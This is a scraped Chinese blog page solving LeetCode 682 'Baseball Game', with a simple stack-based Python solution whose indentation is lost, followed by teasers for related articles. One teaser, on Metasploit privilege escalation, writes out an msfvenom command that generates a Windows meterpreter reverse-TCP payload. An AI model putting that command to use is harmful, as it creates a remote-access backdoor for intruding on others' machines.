题目要求

You're now a baseball game point recorder.

Given a list of strings, each string can be one of the 4 following types:

  1. Integer (one round's score): Directly represents the number of points you get in this round.
  2. "+" (one round's score): Represents that the points you get in this round are the sum of the last two valid round's points.
  3. "D" (one round's score): Represents that the points you get in this round are the doubled data of the last valid round's points.
  4. "C" (an operation, which isn't a round's score): Represents the last validround's points you get were invalid and should be removed.

Each round's operation is permanent and could have an impact on the round before and the round after.

You need to return the sum of the points you could get in all the rounds.

题目分析及思路

题目规定了四种字符:整数字符即是这一轮的所得分数,‘+’表示该轮分数是前两轮有效分数的和,‘D’表示该轮分数是前一轮有效分数的翻倍,‘C’表示上轮分数无效。最后给出所有轮数结束后的总得分。可以遍历每个字符,对每个字符做条件判断,将有效分数存在一个列表里。最后返回列表的和。

python代码

class Solution:

def calPoints(self, ops: List[str]) -> int:

res = []

for op in ops:

if op == 'C':

res.pop()

elif op == '+':

res.append(res[-1] + res[-2])

elif op == 'D':

res.append(2 * res[-1])

else:

res.append(int(op))

return sum(res)

LeetCode 682 Baseball Game 解题报告的更多相关文章

  1. 【LeetCode】682. Baseball Game 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 使用栈模拟 日期 题目地址:https://leet ...

  2. LeetCode 1 Two Sum 解题报告

    LeetCode 1 Two Sum 解题报告 偶然间听见leetcode这个平台,这里面题量也不是很多200多题,打算平时有空在研究生期间就刷完,跟跟多的练习算法的人进行交流思想,一定的ACM算法积 ...

  3. 【LeetCode】Permutations II 解题报告

    [题目] Given a collection of numbers that might contain duplicates, return all possible unique permuta ...

  4. 【LeetCode】Island Perimeter 解题报告

    [LeetCode]Island Perimeter 解题报告 [LeetCode] https://leetcode.com/problems/island-perimeter/ Total Acc ...

  5. 【LeetCode】01 Matrix 解题报告

    [LeetCode]01 Matrix 解题报告 标签(空格分隔): LeetCode 题目地址:https://leetcode.com/problems/01-matrix/#/descripti ...

  6. 【LeetCode】Largest Number 解题报告

    [LeetCode]Largest Number 解题报告 标签(空格分隔): LeetCode 题目地址:https://leetcode.com/problems/largest-number/# ...

  7. 【LeetCode】Gas Station 解题报告

    [LeetCode]Gas Station 解题报告 标签(空格分隔): LeetCode 题目地址:https://leetcode.com/problems/gas-station/#/descr ...

  8. 【LeetCode】120. Triangle 解题报告(Python)

    [LeetCode]120. Triangle 解题报告(Python) 作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 题目地址htt ...

  9. LeetCode: Unique Paths II 解题报告

    Unique Paths II Total Accepted: 31019 Total Submissions: 110866My Submissions Question Solution  Fol ...

随机推荐

  1. Numpy数组与PIL Image转换

    引用于这个博客

  2. Msf提权步骤

    1.生成反弹木马(脚本,执行程序) msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=&l ...

  3. ref和引用类型传参的区别

    引用类型对象本身不改变,只改变对象的属性时,我们在操作同一个对象:(类似c++指针指向的地址) 如果连对象本身都可能会改变,又要保证在操作同一个对象,就用ref传引用类型的对象吧!(类似c++指向一个 ...

  4. 关于CLOS架构的举例 网络级 设备级 FATTREE网络 网络级CLOS 以及CLOS涉及的调度算法RR

    1.概述 CLOS来自于传统电路交换概念,这个概念年代太久远,在当前数据通信网络中,内涵有所变化.本文主要谈的是实际上赋予的与原来略微有所差异的内涵. CLOS架构本身概念比较宽泛,有设备级的CLOS ...

  5. Python3运算符

    一.算术运算符 二.比较运算符 三 .赋值运算符 四 .位运算符 按位运算符是把数字看作二进制来进行计算的.Python中的按位运算法则如下: 下表中变量 a 为 60,b 为 13二进制格式如下: ...

  6. centos7系统下安装php-fpm并配置nginx支持并开启网站gzip压缩

    注:此处不介绍nginx的安装.以下教程默认已安装nginx. 1. yum install -y php-fpm yum install php-pdo yum install php-mysql ...

  7. Mac 挂载树莓派nfs

    vim /etc/export /data_sda1/  192.168.1.*(rw,sync,insecure,no_root_squash) mac端自带rpcbind 挂载 sudo moun ...

  8. Markdown 链接

    如下,方括号显示说明,圆括号内显示网址, Markdown 会自动把它转成链接 [我是百度](https://www.baidu.com/) [我是淘宝](https://www.taobao.com ...

  9. Web 通信 之 长连接、长轮询(long polling)(转载)

    基于HTTP的长连接,是一种通过长轮询方式实现"服务器推"的技术,它弥补了HTTP简单的请求应答模式的不足,极大地增强了程序的实时性和交互性. 一.什么是长连接.长轮询? 用通俗易 ...

  10. 宝塔使用FTP的问题

    我们在使用宝塔FTP面板的时候,会用到FTP工具,但是开的账号在使用 FTP或WinSCP的时候会出现问题,连接不上. 具体解决方式: 参考文档: https://blog.csdn.net/hc11 ...